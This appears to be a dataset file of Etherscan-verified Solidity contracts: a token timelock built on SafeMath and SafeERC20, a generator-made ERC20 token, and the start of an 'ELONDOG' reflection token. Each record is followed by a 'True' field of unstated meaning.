* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: TokenTimelock.sol
pragma solidity ^0.6.0;
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
// solhint-disable-next-line not-rely-on-time
require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time");
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time");
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
_token.safeTransfer(_beneficiary, amount);
}
}
// File: IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: browser/RubicTokenLock.sol
pragma solidity ^0.6.0;
contract RubicTokenLock is TokenTimelock {
constructor () public TokenTimelock(
IERC20(0x10db37f4d9b3bc32AE8303B46E6166F7e9652d28), // token
0x483557C3B44362eBDA69B9A1e9bb2C27073AE1Bd, // beneficiary
1601038800) {
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ELONDOG is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'ELONDOG';
string private _symbol = 'ELONDOG';
